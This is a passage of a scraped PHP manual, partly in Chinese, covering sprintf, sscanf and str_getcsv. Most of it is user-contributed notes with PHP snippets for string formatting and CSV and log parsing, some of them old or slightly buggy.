    $oResponse = json_decode($sResponse);
    if (isset($oResponse->responseData->translatedText))
    {
        $sTranslation = $oResponse->responseData->translatedText;
    }
    else
    {
        // If some error occured, use the original string
        $sTranslation = $sString;
    }

    // Replace "notranslate" tags
    if ($bEscapeParams)
    {
        $sEscapePatern = '/<span class="notranslate">([^<]*)<\/span>/';
        $sTranslation = preg_replace($sEscapePatern, '$1', $sTranslation);
    }

    // Return result
    return $sTranslation;
}

?>

Thanks to MelTraX for defining the RegExp!
Jay Gilford 25-Aug-2009 05:13
I created this function a while back to save on having to combine mysql_real_escape_string onto all the params passed into a sprintf. it works literally the same as the sprintf other than that it doesn't require you to escape your inputs. Hope its of some use to people

<?php
function mressf()
{
    $args = func_get_args();
    if (count($args) < 2)
        return false;
    $query = array_shift($args);
    $args = array_map('mysql_real_escape_string', $args);
    array_unshift($args, $query);
    $query = call_user_func_array('sprintf', $args);
    return $query;
}
?>

Regards
Jay
Jaygilford.com
jfgrissom at gmail dot com 11-Jul-2009 09:51
I had a nightmare trying to find the two's complement of a 32 bit number.

I got this from http://www.webmasterworld.com/forum88/13334.htm (credit where credit is due... =P  )

Quote: ...find out the 2's complement of any number, which is -(pow(2, n) - N) where n is the number of bits and N is the number for which to find out its 2's complement.

This worked magic for me... previously I was trying to use

sprintf ("%b",$32BitDecimal);
But it always returned 10000000000000000000000 when the $32BitDecimal value got above 2,000,000,000.

This -(pow(2, n) - N)
Worked remarkably well and was very accurate.

Hope this helps someone fighting with two's complement in PHP.
John Walker 09-Jul-2009 05:56
To add to other notes below about floating point problems, I noted that %f and %F will apparently output a maximum precision of 6 as a default so you have to specify 1.15f (eg) if you need more.

In my case, the input (from MySQL) was a string with 15 digits of precision that was displayed with 6. Likely what happens is that the rounding occurs in the conversion to a float before it is displayed. Displaying it as 1.15f (or in my case, %s) shows the correct number.
viktor at textalk dot com 18-Feb-2009 08:16
A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled.

<?php
if (!function_exists('mb_sprintf')) {
  function mb_sprintf($format) {
      $argv = func_get_args() ;
      array_shift($argv) ;
      return mb_vsprintf($format, $argv) ;
  }
}
if (!function_exists('mb_vsprintf')) {
  /**
   * Works with all encodings in format and arguments.
   * Supported: Sign, padding, alignment, width and precision.
   * Not supported: Argument swapping.
   */
  function mb_vsprintf($format, $argv, $encoding=null) {
      if (is_null($encoding))
          $encoding = mb_internal_encoding();

      // Use UTF-8 in the format so we can use the u flag in preg_split
      $format = mb_convert_encoding($format, 'UTF-8', $encoding);

      $newformat = ""; // build a new format in UTF-8
      $newargv = array(); // unhandled args in unchanged encoding

      while ($format !== "") {

        // Split the format in two parts: $pre and $post by the first %-directive
        // We get also the matched groups
        list ($pre, $sign, $filler, $align, $size, $precision, $type, $post) =
            preg_split("!\%(\+?)('.|[0 ]|)(-?)([1-9][0-9]*|)(\.[1-9][0-9]*|)([%a-zA-Z])!u",
                       $format, 2, PREG_SPLIT_DELIM_CAPTURE) ;

        $newformat .= mb_convert_encoding($pre, $encoding, 'UTF-8');

        if ($type == '') {
          // didn't match. do nothing. this is the last iteration.
        }
        elseif ($type == '%') {
          // an escaped %
          $newformat .= '%%';
        }
        elseif ($type == 's') {
          $arg = array_shift($argv);
          $arg = mb_convert_encoding($arg, 'UTF-8', $encoding);
          $padding_pre = '';
          $padding_post = '';

          // truncate $arg
          if ($precision !== '') {
            $precision = intval(substr($precision,1));
            if ($precision > 0 && mb_strlen($arg,$encoding) > $precision)
              $arg = mb_substr($precision,0,$precision,$encoding);
          }

          // define padding
          if ($size > 0) {
            $arglen = mb_strlen($arg, $encoding);
            if ($arglen < $size) {
              if($filler==='')
                  $filler = ' ';
              if ($align == '-')
                  $padding_post = str_repeat($filler, $size - $arglen);
              else
                  $padding_pre = str_repeat($filler, $size - $arglen);
            }
          }

          // escape % and pass it forward
          $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post;
        }
        else {
          // another type, pass forward
          $newformat .= "%$sign$filler$align$size$precision$type";
          $newargv[] = array_shift($argv);
        }
        $format = strval($post);
      }
      // Convert new format back from UTF-8 to the original encoding
      $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8');
      return vsprintf($newformat, $newargv);
  }
}
?>
splogamurugan at gmail dot com 06-Feb-2009 05:59
$format = 'There are %1$d monkeys in the %s and %s ';
printf($format, 100, 'Chennai', 'Bangalore');

Expecting to output
"There are 100 monkeys in the Chennai and bangalore"

But, this will output
"There are 100 monkeys in the 100 and Chennai"

Because, the second and Third specifiers takes 1rst and 2nd arguments. Because it is not assigned with any arguments.
remy dot damour at -please-no-spam-laposte dot net 15-Jan-2009 11:15
With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'.

Ie. to print '%' character you need to escape it with itself:
<?php
printf('%%%s%%', 'koko'); #output: '%koko%'
?>
php at mikeboers dot com 01-Oct-2008 01:42
And continuing on the same theme of a key-based sprintf...

I'm roughly (I can see a couple cases where it comes out wierd) copying the syntax of Python's string formatting with a dictionary. The improvement over the several past attempts is that this one still respects all of the formating options, as you can see in my example.

And the error handling is really crappy (just an echo). I just threw this together so do with it what you will. =]

<?php

function sprintf_array($string, $array)
{
    $keys    = array_keys($array);
    $keysmap = array_flip($keys);
    $values  = array_values($array);

    while (preg_match('/%\(([a-zA-Z0-9_ -]+)\)/', $string, $m))
    {
        if (!isset($keysmap[$m[1]]))
        {
            echo "No key $m[1]\n";
            return false;
        }

        $string = str_replace($m[0], '%' . ($keysmap[$m[1]] + 1) . '$', $string);
    }

    array_unshift($values, $string);
    var_dump($values);
    return call_user_func_array('sprintf', $values);
}

echo sprintf_array('4 digit padded number: %(num)04d ', array('num' => 42));

?>

Cheers!
jaimthorn at yahoo dot com 11-Jun-2008 07:01
I needed a piece of code similar to the one Matt posted below, on the 10th of March, 2008.  However, I wasn't completely satisfied with Matt's code (sorry, Matt!  No offense intended!), because

1) I don't like to initialize variables when it's not really needed, and
2) it contains two bugs.

What are the bugs?

First, Matt's code tests for count($vars) > 0, but if $var == "Hello world!", then count($var) == 1, but the foreach() will crash because $var has to be an array.  So instead, my code tests for is_array($var).

Second, if a key in $vars is a prefix of any of the later keys in the array (like 'object' is the beginning of 'objective') then the str_replace messes things up.  This is no big deal if your keys are hard-coded and you can make sure the keys don't interfere, but in my code the keys are variable.  So I decided to first sort the array on a decreasing length of the key.

<?php

function cmp($a, $b)
{
    return strlen($b) - strlen($a);
}

function sprintf2($str, $vars, $char = '%')
{
    if(is_array($vars))
    {
        uksort($vars, "cmp");

        foreach($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2( 'Hello %your_name, my name is %my_name! I am %my_age, how old are you? I like %object and I want to %objective_in_life!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );

?>

If possible, and if you're willing, you can also embed the key fields in the text between percent-signs, rather than prefixing the keys with one.  Sorting is no longer necessary, and the execution time is less than half of the code above:

<?php

function sprintf3($str, $vars, $char = '%')
{
    $tmp = array();
    foreach($vars as $k => $v)
    {
        $tmp[$char . $k . $char] = $v;
    }
    return str_replace(array_keys($tmp), array_values($tmp), $str);
}

echo sprintf3( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );
?>

If you're willing to embed the keys in the text, you may also be willing to embed the keys themselves in percent signs, thus shaving off another 30% of the execution time:

<?php

function sprintf4($str, $vars)
{
    return str_replace(array_keys($vars), array_values($vars), $str);
}

echo sprintf4( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( '%your_name%'         => 'Matt'
                    , '%my_name%'           => 'Jim'
                    , '%my_age%'            => 'old'
                    , '%object%'            => 'women'
                    , '%objective_in_life%' => 'write code'
                    )
             );
?>

Of course, by now the sprintf function is no longer something you'd want to write to mum and dad about...
matt 10-Mar-2008 09:13
Was looking for a assoc way of using sprintf but couldnt find one, probably wasnt looking hard enough so came up with this. Very very simple indeed...

<?php

function sprintf2($str='', $vars=array(), $char='%')
{
    if (!$str) return '';
    if (count($vars) > 0)
    {
        foreach ($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2('Hello %your_name my name is %my_name! I am %my_age, how old are you? I like %object!', array(
    'your_name' => 'Ben',
    'my_name' => 'Matt',
    'my_age' => '21',
    'object' => 'food'
));

// Hello Ben my name is Matt! I am 21, how old are you? I like food!

?>

Looks nice anyway :)
scott dot gardner at mac dot com 10-Jan-2008 01:22
In the last example of Example#6, there is an error regarding the output.

printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

This outputs right-justified.

In order to output left-justified:

printf("[%-10.10s]\n", $t);
me at umarfarooq dot net 06-Sep-2007 11:29
/**
This function returns a formated  string with the legnth you specify
@string holds the string which you want to format
@len holds the length you want to format
**/
function formatString($string, $len)
{
    if (strlen($string) < $len)
    {
        $addchar=($len - strlen($string)) ;
        for ($i = 0; $i < $addchar; $i++)
        {
            $string=sprintf("$string%s", "0");
        }
    }

    if (strlen($string) > $len)
    {
        $string=substr($string,0,$len);
    }

    return $string;
}
david at rayninfo dot co dot uk 16-Jun-2005 11:33
Using sprintf to force leading leading zeros

foreach (range(1, 10) as $v) {echo "<br>tag_".sprintf("%02d",$v);}

displays
tag_01
tag_02
tag_03
.. etc
ian dot w dot davis at gmail dot com 30-May-2005 07:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss 02-May-2005 12:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
christian at wenz dot org 18-Apr-2005 12:20
@ henke dot andersson at comhem dot se: Use vprintf()/vsprintf() for that.
jrpozo at conclase dot net 21-Jan-2005 07:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
php at sharpdreams dot com 08-May-2004 02:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
no dot email dot address at example dot com 16-Sep-2002 06:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com 10-Sep-2002 11:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au 03-Jul-2002 02:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);


根据指定格式解析输入的字符

  • ? sprintf
  • str_getcsv ?
  • PHP Manual
  • 字符串 函数
  • 根据指定格式解析输入的字符

sscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

sscanf — 根据指定格式解析输入的字符

说明

sscanf ( string $str , string $format [, mixed &$... ] ) : mixed

这个函数 sscanf() 输入类似
printf()。 sscanf()
读取字符串str 然后根据指定格式format解析, 格式的描述文档见 sprintf()。

指定的格式字符串中的任意空白匹配输入字符串的任意空白.也就是说即使是格式字符串中的一个制表符 \t 也能匹配输入 字符串中的一个单一空格字符

参数

str

将要被解析的 字符串.

format

The interpreted format for 解析str的格式, 除了以下不同外，其余的见 sprintf()的描述文档:

  • 函数不区分语言地区
  • F, g, G 和 b 不被支持.
  • D 表示十进制数字.
  • i stands for integer with base detection.
  • n 代表目前已经处理的字符数。
  • s 遇到任意空格字符时停止读取。

...

可以选参数将以引用方式传入，它们的值将被设置为解析匹配的值

返回值

如果仅传入了两个参数给这个函数，解析后将返回一个数组，否则，如果可选参数被传入，这个函数将返回被设置了值的个数

如果format存在的子字符串比 str内可用的多, -1 将被返回.

范例

Example #1 sscanf() 例子

<?php
// getting the serial number
list($serial) = sscanf("SN/2350001", "SN/%d");
// and the date of manufacturing
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Item $serial was manufactured on: $year-" . substr($month, 0, 3) . "-$day\n";
?>

If optional parameters are passed, the function will return the number of assigned values.

Example #2 sscanf() - using optional parameters

<?php
// get author info and generate DocBook entry
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
    <firstname>$first</firstname>
    <surname>$last</surname>
</author>\n";
?>

参见

  • fscanf() - 从文件中格式化输入
  • printf() - 输出格式化字符串
  • sprintf() - Return a formatted string

User Contributed Notes

Victor 23-Sep-2012 10:24
One thing to note: unlike C/C++, a variable %n is assigned to will be counted in the return value.
nmmm at nmmm dot nu 23-Nov-2011 05:11
This is more like C/C++ example, but works on PHP too.

<?php
$qs = "index.php?id=34&name=john";

print_r(   sscanf($qs, "%[^?]?%[^?]")   );

$qs = "id=34&name=john";

print_r(   sscanf($qs, "id=%[^&]&name=%[^&]")   );
?>
Igor Feghali 22-Oct-2008 10:56
parses an input string with fixed field sizes that contains data with spaces:

<?php
$result = sscanf("  Vendor: My Vendo Model: Super Model Foo  Rev: 1234",
                 '  Vendor: %8[ -~] Model: %16[ -~] Rev: %4c',
                 $vendor, $model, $rev);
?>

$vendor => My Vendo
$model => Super Model Foo
$rev => 1234
leg 13-Aug-2008 09:20
@mikewillitsgmail.com:

<?php

$out = sscanf('file_name.gif', 'file_%[^.].%s', $fpart1, $fpart2);

echo '<pre>';
print_r($fpart1);
echo '<hr />';
print_r($fpart2);
echo '</pre>';

?>

output:

name
-
gif

The "^." part avoid the first searched string to be too greedy. But doesn't protect you against an "file_test.name.gif" input, with bad results!
mikewillitsgmail.com 15-Mar-2008 11:13
FYI - if you are trying to scan from a string which contains a filename with extension. For instance:

<?php

$out = sscanf('file_name.gif', 'file_%s.%s', $fpart1, $fpart2);

?>

The scanned string in the $fpart1 parameter turns out to be 'name.gif' and $fpart2 will be NULL.

To get around this you can simply replace the "." with a space or another "white-space like" string sequence.

I didn't see any other comments on regarding string literals which contain a '.' so I thought I'd mention it. The subtle characteristics of having "white-space delimited" content I think can be a source of usage contention. Obviously, another way to go is regular expressions in this instance, but for newer users this may be helpful.

Just in case someone else spent 10 minutes of frustration like I did. This was seen on PHP Version 5.2.3-1ubuntu6.3.

Searching the bug reports shows another users misunderstanding: http://bugs.php.net/bug.php?id=7793
anonymouse 01-Aug-2006 09:38
I've seen several examples of people using brackets to define what look like regexp character classes. In my limited testing I don't think they are genuine character classes but they seem to be similar.

My task was to use sscanf() to parse an array of strings with the format:

number SPACE string_which_may_also_have_spaces

The normal %s conversion command treats spaces as some kind of delimiter. So, you can get the strings if you know beforehand how many "words" there will be. But, my input was variable.

Here's what I came up with: (note use of the dollar-sign 'end of string' hidden delimiter)

sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
skeltoac 22-Mar-2006 08:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
    $log['ip'],
    $log['client'],
    $log['user'],
    $log['time'],
    $log['method'],
    $log['uri'],
    $log['prot'],
    $log['code'],
    $log['bytes'],
    $log['ref'],
    $log['agent']
);
?>
Brainiac361 22-Aug-2005 01:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{ 14-Jul-2005 03:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                                }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen 16-Jun-2005 01:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
    return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com 06-Feb-2005 06:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
marcus at synchromedia dot co dot uk 24-Mar-2003 09:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

    list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com 19-Nov-2002 07:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
        if (empty($phone)) return "";
        sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
        $out = @$area ? "($area) " : "";
        $out .= $prefix . '-' . $exchange;
        return $out;
}
jon at fuck dot org 13-Sep-2002 11:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
elgabos at umail dot ucsb dot edu 27-Feb-2002 03:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com 14-Oct-2001 03:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
clcollie at mindspring dot com 12-Sep-2000 04:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.


解析 CSV 字符串为一个数组

  • ? sscanf
  • str_ireplace ?
  • PHP Manual
  • 字符串 函数
  • 解析 CSV 字符串为一个数组

str_getcsv

(PHP 5 >= 5.3.0, PHP 7)

str_getcsv — 解析 CSV 字符串为一个数组

说明

str_getcsv ( string $input [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\\" ]]] ) : array

以 CSV 字段格式解析字符串输入，并返回包含读取字段的数组。

参数

input

待解析的字符串。

delimiter

设定字段界定符（仅单个字符）。

enclosure

设定字段包裹字符（仅单个字符）。

escape

设置转义字符（仅单个字符）。默认为反斜线（\）。

返回值

返回一个包含读取到的字段的索引数组。

参见

  • fgetcsv() - 从文件指针中读入一行并解析 CSV 字段

User Contributed Notes

sunilp dot coderevolts at gmail dot com 14-Aug-2018 08:09
Hello,

I want to set formula in csv file using php code . When I download csv file formula should be inserted (data from databse) and when we put column values then values should be calculated as per the formula.

Anyone help me.

Thanks.
jcours at NOSPAM dot numifinancial dot com 02-May-2018 04:49
str_getcsv() trimmed its results in PHP 5.3. It does not trim in 5.6. So in 5.3.3, str_getcsv("a, b") would yield
<?php
Array
(
    [0] => a
    [1] => b
)
?>
while in 5.6 you would get
<?php
Array
(
    [0] => a
    [1] =>  b
)
?>

If you pass str_getcsv() a non-string, it will print a warning and return NULL, so a more accurate return value might be "array|NULL".

And finally, str_getcsv("") yields an array containing a single NULL.

Putting those behaviors together, you can emulate the old str_getcsv() behavior with a function like this:
<?php
function str_trimgetcsv($line) {
  $val = str_getcsv($line);
  if (is_array($val)) {
    $val = array_map(
        function($a){return($a === NULL ? $a : trim($a));},
        $val);
  }
  return $val;
}
?>
Anonymous 21-Jul-2017 05:46
public function csv_to_array($filename = '', $delimiter = ',', $boolean_include_title_row = false, $field_names = array()){

        try {

            if (!file_exists($filename) || !is_readable($filename)) {
                return false;
            }

            if (is_array($field_names) && !empty($field_names)) {
                $header = $field_names;
            } elseif (is_string($field_names) && (strlen($field_names) > 0)) {
                $header = explode(",", $field_names);
            } else {
                $header = null;
            }

            $csv = array_map('str_getcsv', file($filename));

            $data = array();

            foreach ($csv as $key => $row) {
                $data[] = array_combine($header, $row);
            }

            if (!$boolean_include_title_row) {
                unset($data[0]);
                $data = array_values($data);
            }

            return $data;

        } catch (Exception $e) {
            return false;
        }

    }
Xkang 21-Dec-2016 01:25
how to solve the UTF-8 BOM's problem
如何处理UTF-8编码的CSV文件中的BOM问题
$bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ); //define bom
$f = file_get_contents('a.csv'); //open the CSV file
#$csv = str_getcsv($f); //it will have bom  这样会出现bom的问题
$csv = str_getcsv(str_replace($bom,'',$f)); //replace the bom 替换掉bom
var_dump($csv);  //dump 输出
fab at tradermail dot info 29-Jul-2016 04:52
This function is an evolution of many of the techniques previously suggested here. It reads an entire file into an associative array, where the first line is used as the keys for all subsequent rows.

Example CSV file:
Foo,Bar,Baz
1,2,5
19,2,4

Would become: { [0] = { Foo=1, Bar=2, Baz=5 }, [1] = { Foo=19, Bar=2, Baz=2 } }.

This makes it super easy to work with CSV files thanks to the simple associative array that results. And you can choose any field delimiter you want.

<?php

function csv2array( $filename, $delimiter )
{
    // read the CSV lines into a numerically indexed array
    $all_lines = @file( $filename );
    if( !$all_lines ) {
        return FALSE;
    }
    $csv = array_map( function( &$line ) use ( $delimiter ) {
        return str_getcsv( $line, $delimiter );
    }, $all_lines );

    // use the first row's values as keys for all other rows
    array_walk( $csv, function( &$a ) use ( $csv ) {
        $a = array_combine( $csv[0], $a );
    });
    array_shift( $csv ); // remove column header row

    return $csv;
}

$items = csv2array( 'items.csv', ',' );
print_r( $items );

?>
nobody 07-Aug-2015 09:44
You can parse a full standard csv string (i.e. a form posted textarea with csv lines) in one easy step:

<?php
$fullcsv = array_map('str_getcsv', str_getcsv($str_csv,"\n"));
?>
starrychloe at oliveyou dot net 23-Jul-2015 06:12
Based on James' line, this will create an array of associative arrays with the first row column headers as the keys.

<?php
    $csv = array_map('str_getcsv', file($file));
    array_walk($csv, function(&$a) use ($csv) {
      $a = array_combine($csv[0], $a);
    });
    array_shift($csv); # remove column header
?>

This will yield something like
    [2] => Array
        (
            [Campaign ID] => 295095038
            [Ad group ID] => 22460178158
            [Keyword ID] => 3993587178
peter dot mlich at volny dot cz 02-Jul-2015 10:21
> 49 durik at 3ilab dot net /  4 years ago
$rows = str_getcsv($csv_data, "\n");
- bug, data in csv can have "\n"
'aaa','bb
b','ccc'
str_getcsv at php dot net 23-Jun-2015 12:49
An alternative for 'str_getcsv'

if (!function_exists('str_getcsv')) {
    function str_getcsv($str, $length = 8096, $delimiter = ',', $enclosure = '"', $escape = '\\') {
        $handle = fopen('data://text/plain;base64,' . base64_encode($str), 'r');
        $data = array();
        $i = 0;

        while (($line = fgetcsv($handle, $length, $delimiter, $enclosure)) !== false) {
            foreach ($line as $value) {
                $data[$i] = $value;
                $i ++;
            }
        }

        fclose($handle);

        return $data;
    }
}
pasmanik at gmail dot com 28-May-2015 08:08
I prepared some better function for parsing CSV string.

function csv_to_array($string='', $row_delimiter=PHP_EOL, $delimiter = "," , $enclosure = '"' , $escape = "\\" )
{
    $rows = array_filter(explode($row_delimiter, $string));
    $header = NULL;
    $data = array();

    foreach($rows as $row)
    {
        $row = str_getcsv ($row, $delimiter, $enclosure , $escape);

        if(!$header)
            $header = $row;
        else
            $data[] = array_combine($header, $row);
    }

    return $data;
}
csver at phper dot com 06-May-2015 10:02
Quick and proper way:

    $temp = fopen('php://temp', 'r+');
    fputs($csvString, $temp);
    rewind($temp);

    $csvArray = array();

    while( $csvRow = fgetcsv($temp) )
        $csvArray[] = $csvRow;
    fclose($temp);
sven at e7o dot de 24-Feb-2015 02:53
PHP is failing when parsing UTF-8 with Byte Order Mark. Strip it with this one from string before passing it to csv parser:

<?php
        $bom = pack('CCC', 0xEF, 0xBB, 0xBF);
        if (strncmp($yourString, $bom, 3) === 0) {
            $body = substr($yourString, 3);
        }
?>
okonomiyaki3000 at gmail dot com 12-Feb-2015 10:58
`durik at 3ilab dot net` brings up a good point but the solution provided may fail in certain (very rare) edge cases. I believe a more perfect solution is as follows:

<?php
// Use an I/O stream instead of an actual file.
$handle = fopen('php://temp/myCSV', 'w+b');

// Write all the data to it
fwrite($handle, $CSVString);

// Rewind for reading
rewind($handle);

// use fgetcsv which tends to work better than str_getcsv in some cases
$rows = array();
while ($row = fgetcsv($handle)) $rows[] = $row;
?>

A variation on this technique can also be used to implement an 'str_putcsv' which PHP lacks.
dejiakala at gmail dot com 21-Sep-2014 06:06
I wanted the best of the 2 solutions by james at moss dot io and Jay Williams (csv_to_array()) - create associative array from a CSV file with a header row.

<?php

$array = array_map('str_getcsv', file('data.csv'));

$header = array_shift($array);

array_walk($array, '_combine_array', $header);

function _combine_array(&$row, $key, $header) {
  $row = array_combine($header, $row);
}

?>

Then I thought why not try some benchmarking? I grabbed a sample CSV file with 50,000 rows (10 columns each) and Vulcan Logic Disassembler (VLD) which hooks into the Zend Engine and dumps all the opcodes (execution units) of a script - see http://pecl.php.net/package/vld and example here: http://fabien.potencier.org/article/8/print-vs-echo-which-one-is-faster

Result:

array_walk() and array_map() - 39 opcodes
csv_to_array() - 69 opcodes
enmanuelcorvo at gmail dot com 02-Sep-2014 08:49
I always use this:

function convert_to_csv($input_array, $output_file_name, $delimiter)
{
    /** open raw memory as file, no need for temp files */
    $temp_memory = fopen('php://memory', 'w');
    /** loop through array */
    foreach ($input_array as $line) {
        /** default php csv handler **/
        fputcsv($temp_memory, $line, $delimiter);
    }
    /** rewrind the "file" with the csv lines **/
    fseek($temp_memory, 0);
    /** modify header to be downloadable csv file **/
    header('Content-Type: application/csv');
    header('Content-Disposition: attachement; filename="' . $output_file_name . '";');
    /** Send file to browser for download */
    fpassthru($temp_memory);
}

/** Array to convert to csv */
$array_to_csv = Array(Array(12566, 'Enmanuel', 'Corvo'), Array(56544, 'John', 'Doe'), Array(78550, 'Mark', 'Smith'));
convert_to_csv($array_to_csv, 'report.csv', ',');

you can read the full post here:

<a href="http://webtricksandtreats.com/export-to-csv-php/">PHP to CSV  Download </a>
james at moss dot io 03-Apr-2014 10:24
Handy one liner to parse a CSV file into an array

<?php

$csv = array_map('str_getcsv', file('data.csv'));

?>
peter at icb dot at 21-Mar-2014 05:11
Optimized JayWilliams function a little bit:

<?php
function csv_to_array($filename, $delimiter=',', $enclosure='"', $escape = '\\')
{
  if(!file_exists($filename) || !is_readable($filename)) return false;

  $header = null;
  $data = array();
  $lines = file($filename);

  foreach($lines as $line) {
    $values = str_getcsv($line, $delimiter, $enclosure, $escape);
    if(!$header) $header = $values;
    else $data[] = array_combine($header, $values);
  }

